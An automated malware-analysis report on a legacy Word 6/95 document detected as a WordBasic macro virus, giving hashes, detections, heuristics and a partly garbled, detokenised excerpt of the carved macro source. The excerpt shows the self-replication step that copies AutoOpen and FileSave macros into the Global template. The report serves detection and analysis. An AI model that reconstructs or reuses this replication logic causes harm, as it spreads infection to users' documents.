Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2d9d315b0ce157c8…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: d77e717b307033a3d0fc57487aea1fbf SHA-1: 69f97fb2721c1d8d17cc9af23616c98a487823be SHA-256: 2d9d315b0ce157c856829c0c6f4cfc2ae58455222d6fdfe6a44a00db02bf0381
102 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits legacy WordBasic macro virus markers, specifically 'RSN MACRO VIRUS', and the document body contains text referencing infection and attempts to modify the Normal template. This strongly suggests a malicious document designed to spread via macros.

Heuristics 3

  • ClamAV: Win.Trojan.Header-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Header-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 795 bytes
SHA-256: 9e6392b5a3e9b757b057b314af8f1c8ecb8dc3d6463034a279458ff7275ef165
Preview script
First 1,000 lines of the extracted script
, ,          
        357      
    29793       8300   ,  
    10272 25199 8233 29793  
      24933 8300
MAIN
, - * Abort
dlg @cmd0054
dlg
dlg
dlg = 0 dlg = 1
@cmd0054 dlg
f$ = @cmd8025
@cmd80c2 "Global:FileSaveAs" , f$ = ":fsa"
@cmd80c2 "Global:FileSave" , f$ = ":fs"
@cmd80c2 "Global:ao" , f$ = ":AutoOpen"
@cmd0053
MAIN
@cmd0053
f$ = @cmd8025
@cmd0054 = f$ , = 1 , = 0
@cmd80c2 "Global:FileSaveAs" , f$ = ":fsa"
@cmd80c2 "Global:FileSave" , f$ = ":fs"
@cmd80c2 "Global:ao" , f$ = ":AutoOpen"
@cmd0053
MAIN
f$ = @cmd8025
@cmd80c2 f$ = ":AutoOpen" , "Global:ao"
@cmd80c2 f$ = ":fsa" , "Global:FileSaveAs"
@cmd80c2 f$ = ":fs" , "Global:FileSave"
@cmd00ed
@cmd00ae = 7
@cmdc010
Success = @cmd818f
Success @cmd818f
@cmd00ed
@cmd8012 "Your document was infected by a very dangerous virus!"
@cmd818f

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